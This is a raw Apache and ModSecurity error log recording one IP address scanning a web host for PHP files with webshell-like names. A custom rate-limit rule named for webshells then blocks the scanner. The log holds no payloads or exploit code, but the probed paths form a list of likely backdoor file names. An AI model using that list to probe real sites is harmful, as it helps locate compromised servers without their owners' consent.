[Mon Apr 27 02:05:35.979309 2026] [:error] [pid 8390:tid 8469] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/v4.php
[Mon Apr 27 02:05:36.305133 2026] [:error] [pid 8390:tid 8473] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp4.php
[Mon Apr 27 02:05:36.624942 2026] [:error] [pid 8390:tid 8462] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Mon Apr 27 02:05:36.925169 2026] [:error] [pid 8390:tid 8455] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/mamzi.php
[Mon Apr 27 02:05:37.219892 2026] [:error] [pid 8390:tid 8468] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/wpls.php
[Mon Apr 27 02:05:37.530563 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/xrp.php
[Mon Apr 27 02:05:37.828910 2026] [:error] [pid 8390:tid 8454] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/v2.php
[Mon Apr 27 02:05:38.146019 2026] [:error] [pid 8390:tid 8451] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-acc.php
[Mon Apr 27 02:05:38.619791 2026] [:error] [pid 8390:tid 8457] [client 74.248.148.150:49284] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae5T8oGPtFK_i9p5yxTHUQAAAIY"]
[Mon Apr 27 02:05:39.351776 2026] [:error] [pid 16515:tid 16538] [client 74.248.148.150:45340] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae5T81tDrUmgHSvpuLxrmgAAAlQ"]
[Mon Apr 27 02:05:40.202981 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:28631] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae5T9N0RB4J0o4h5neHMUQAAAhg"]
[Mon Apr 27 02:05:40.944651 2026] [:error] [pid 8383:tid 8397] [client 74.248.148.150:26210] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae5T9NFa2S3EsATMdWO17gAAAAA"]
[Mon Apr 27 02:05:41.561160 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:3114] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "ae5T9dFa2S3EsATMdWO18AAAABE"]
[Mon Apr 27 02:05:42.121016 2026] [:error] [pid 8383:tid 8401] [client 74.248.148.150:60829] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "ae5T9tFa2S3EsATMdWO19AAAAAQ"]
[Mon Apr 27 02:05:42.738217 2026] [:error] [pid 8383:tid 8403] [client 74.248.148.150:45332] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "ae5T9tFa2S3EsATMdWO19wAAAAY"]
[Mon Apr 27 02:05:43.344874 2026] [:error] [pid 8383:tid 8420] [client 74.248.148.150:45328] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "ae5T99Fa2S3EsATMdWO1_AAAABc"]
[Mon Apr 27 02:05:44.063006 2026] [:error] [pid 8383:tid 8413] [client 74.248.148.150:45357] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-trackback.php"] [unique_id "ae5T-NFa2S3EsATMdWO1_gAAABA"]
[Mon Apr 27 02:05:44.683781 2026] [:error] [pid 8385:tid 8440] [client 74.248.148.150:52474] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-trackback.php"] [unique_id "ae5T-DOy7_J84Wx3-oz3FgAAAFA"]
[Mon Apr 27 02:05:45.354297 2026] [:error] [pid 8383:tid 8416] [client 74.248.148.150:26210] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-trackback.php"] [unique_id "ae5T-dFa2S3EsATMdWO2AQAAABM"]
[Mon Apr 27 02:05:45.914619 2026] [:error] [pid 22573:tid 22625] [client 74.248.148.150:56233] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-trackback.php"] [unique_id "ae5T-XB3EmQlD4yKUt89LQAAAZI"]
[Mon Apr 27 02:05:46.643984 2026] [:error] [pid 8491:tid 8504] [client 74.248.148.150:3076] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xx.php"] [unique_id "ae5T-iq7I7e6CJooQM068QAAAMU"]
[Mon Apr 27 02:05:47.242747 2026] [:error] [pid 16574:tid 16619] [client 74.248.148.150:52451] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xx.php"] [unique_id "ae5T-35MsX8wRQr99nZQxwAAA0w"]
[Mon Apr 27 02:05:47.845309 2026] [:error] [pid 8491:tid 8523] [client 74.248.148.150:65469] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xx.php"] [unique_id "ae5T-yq7I7e6CJooQM068gAAANc"]
[Mon Apr 27 02:05:48.455370 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:60118] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xx.php"] [unique_id "ae5T_N0RB4J0o4h5neHMYAAAAgw"]
[Mon Apr 27 02:05:48.976332 2026] [:error] [pid 13137:tid 13143] [client 74.248.148.150:60119] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testo.php"] [unique_id "ae5T_N0RB4J0o4h5neHMZwAAAgM"]
[Mon Apr 27 02:05:49.529405 2026] [:error] [pid 13137:tid 13161] [client 74.248.148.150:3638] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testo.php"] [unique_id "ae5T_d0RB4J0o4h5neHMbAAAAhQ"]
[Mon Apr 27 02:05:50.094460 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:60857] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testo.php"] [unique_id "ae5T_oGPtFK_i9p5yxTHWAAAAJQ"]
[Mon Apr 27 02:05:51.435839 2026] [:error] [pid 8390:tid 8458] [client 74.248.148.150:3636] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testo.php"] [unique_id "ae5T_4GPtFK_i9p5yxTHXAAAAIc"]
[Mon Apr 27 02:05:52.058514 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:60146] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/row.php"] [unique_id "ae5UAIGPtFK_i9p5yxTHXwAAAJM"]
[Mon Apr 27 02:05:52.616882 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:26215] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/row.php"] [unique_id "ae5UAIGPtFK_i9p5yxTHYgAAAIU"]
[Mon Apr 27 02:05:53.258892 2026] [:error] [pid 22573:tid 22606] [client 74.248.148.150:3594] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/row.php"] [unique_id "ae5UAXB3EmQlD4yKUt89NgAAAYA"]
[Mon Apr 27 02:05:53.783602 2026] [:error] [pid 16515:tid 16535] [client 74.248.148.150:60860] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/row.php"] [unique_id "ae5UAVtDrUmgHSvpuLxrqwAAAlE"]
[Mon Apr 27 02:05:54.498125 2026] [:error] [pid 22573:tid 22624] [client 74.248.148.150:60120] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/555.php"] [unique_id "ae5UAnB3EmQlD4yKUt89OAAAAZE"]
[Mon Apr 27 02:05:55.183040 2026] [:error] [pid 22573:tid 22611] [client 74.248.148.150:56251] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/555.php"] [unique_id "ae5UA3B3EmQlD4yKUt89OgAAAYU"]
[Mon Apr 27 02:05:55.753141 2026] [:error] [pid 8385:tid 8444] [client 74.248.148.150:3632] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/555.php"] [unique_id "ae5UAzOy7_J84Wx3-oz3GgAAAFQ"]
[Mon Apr 27 02:05:56.364718 2026] [:error] [pid 16515:tid 16528] [client 74.248.148.150:46808] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/555.php"] [unique_id "ae5UBFtDrUmgHSvpuLxrrgAAAko"]
[Mon Apr 27 02:05:57.098773 2026] [:error] [pid 16515:tid 16541] [client 74.248.148.150:49298] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg.php"] [unique_id "ae5UBVtDrUmgHSvpuLxrsgAAAlc"]
[Mon Apr 27 02:05:57.782661 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:49314] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg.php"] [unique_id "ae5UBd0RB4J0o4h5neHMdwAAAg8"]
[Mon Apr 27 02:05:58.339121 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:60836] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg.php"] [unique_id "ae5UBt0RB4J0o4h5neHMeQAAAgY"]
[Mon Apr 27 02:05:58.875140 2026] [:error] [pid 8390:tid 8464] [client 74.248.148.150:65452] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg.php"] [unique_id "ae5UBoGPtFK_i9p5yxTHZgAAAI0"]
[Mon Apr 27 02:05:59.495856 2026] [:error] [pid 8383:tid 8417] [client 74.248.148.150:46803] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ae5UB9Fa2S3EsATMdWO2DgAAABQ"]
[Mon Apr 27 02:06:00.228545 2026] [:error] [pid 13137:tid 13143] [client 74.248.148.150:52426] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ae5UCN0RB4J0o4h5neHMfgAAAgM"]
[Mon Apr 27 02:06:00.825069 2026] [:error] [pid 8390:tid 8469] [client 74.248.148.150:65455] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ae5UCIGPtFK_i9p5yxTHbgAAAJI"]
[Mon Apr 27 02:06:01.435454 2026] [:error] [pid 16515:tid 16539] [client 74.248.148.150:65421] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ae5UCVtDrUmgHSvpuLxrtgAAAlU"]
[Mon Apr 27 02:06:02.290318 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:29286] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jmfi2.php"] [unique_id "ae5UCt0RB4J0o4h5neHMggAAAhM"]
[Mon Apr 27 02:06:03.004977 2026] [:error] [pid 16574:tid 16633] [client 74.248.148.150:52455] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jmfi2.php"] [unique_id "ae5UC35MsX8wRQr99nZQzgAAA1M"]
[Mon Apr 27 02:06:03.591055 2026] [:error] [pid 22573:tid 22627] [client 74.248.148.150:26203] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jmfi2.php"] [unique_id "ae5UC3B3EmQlD4yKUt89PwAAAZQ"]
[Mon Apr 27 02:06:04.255716 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:65463] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jmfi2.php"] [unique_id "ae5UDNFa2S3EsATMdWO2EAAAABU"]
[Mon Apr 27 02:06:04.832718 2026] [:error] [pid 8383:tid 8411] [client 74.248.148.150:25470] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-Blogs.php"] [unique_id "ae5UDNFa2S3EsATMdWO2EQAAAA4"]
[Mon Apr 27 02:06:05.924012 2026] [:error] [pid 8491:tid 8501] [client 74.248.148.150:60123] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-Blogs.php"] [unique_id "ae5UDSq7I7e6CJooQM069wAAAMI"]
[Mon Apr 27 02:06:06.661097 2026] [:error] [pid 13137:tid 13154] [client 74.248.148.150:60861] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-Blogs.php"] [unique_id "ae5UDt0RB4J0o4h5neHMiQAAAg0"]
[Mon Apr 27 02:06:07.249870 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:60818] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-Blogs.php"] [unique_id "ae5UD90RB4J0o4h5neHMiwAAAhM"]
[Mon Apr 27 02:06:07.807886 2026] [:error] [pid 13137:tid 13164] [client 74.248.148.150:45329] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "ae5UD90RB4J0o4h5neHMjAAAAhc"]
[Mon Apr 27 02:06:08.620381 2026] [:error] [pid 16515:tid 16528] [client 74.248.148.150:56227] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "ae5UEFtDrUmgHSvpuLxrugAAAko"]
[Mon Apr 27 02:06:09.446642 2026] [:error] [pid 8491:tid 8516] [client 74.248.148.150:65468] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "ae5UESq7I7e6CJooQM06-wAAANE"]
[Mon Apr 27 02:06:10.950423 2026] [:error] [pid 8390:tid 8458] [client 74.248.148.150:56234] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "ae5UEoGPtFK_i9p5yxTHcwAAAIc"]
[Mon Apr 27 02:06:11.876624 2026] [:error] [pid 8383:tid 8410] [client 74.248.148.150:45354] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mds.php"] [unique_id "ae5UE9Fa2S3EsATMdWO2FAAAAA0"]
[Mon Apr 27 02:06:12.921075 2026] [:error] [pid 8390:tid 8464] [client 74.248.148.150:60113] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mds.php"] [unique_id "ae5UFIGPtFK_i9p5yxTHdgAAAI0"]
[Mon Apr 27 02:06:13.778444 2026] [:error] [pid 13197:tid 13245] [client 74.248.148.150:62290] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mds.php"] [unique_id "ae5UFd3kktFKdSxTrBv1igAAAs0"]
[Mon Apr 27 02:06:14.379900 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:26238] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mds.php"] [unique_id "ae5UFt3kktFKdSxTrBv1iwAAAs4"]
[Mon Apr 27 02:06:14.929624 2026] [:error] [pid 8383:tid 8405] [client 74.248.148.150:52469] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hey.php"] [unique_id "ae5UFtFa2S3EsATMdWO2GAAAAAg"]
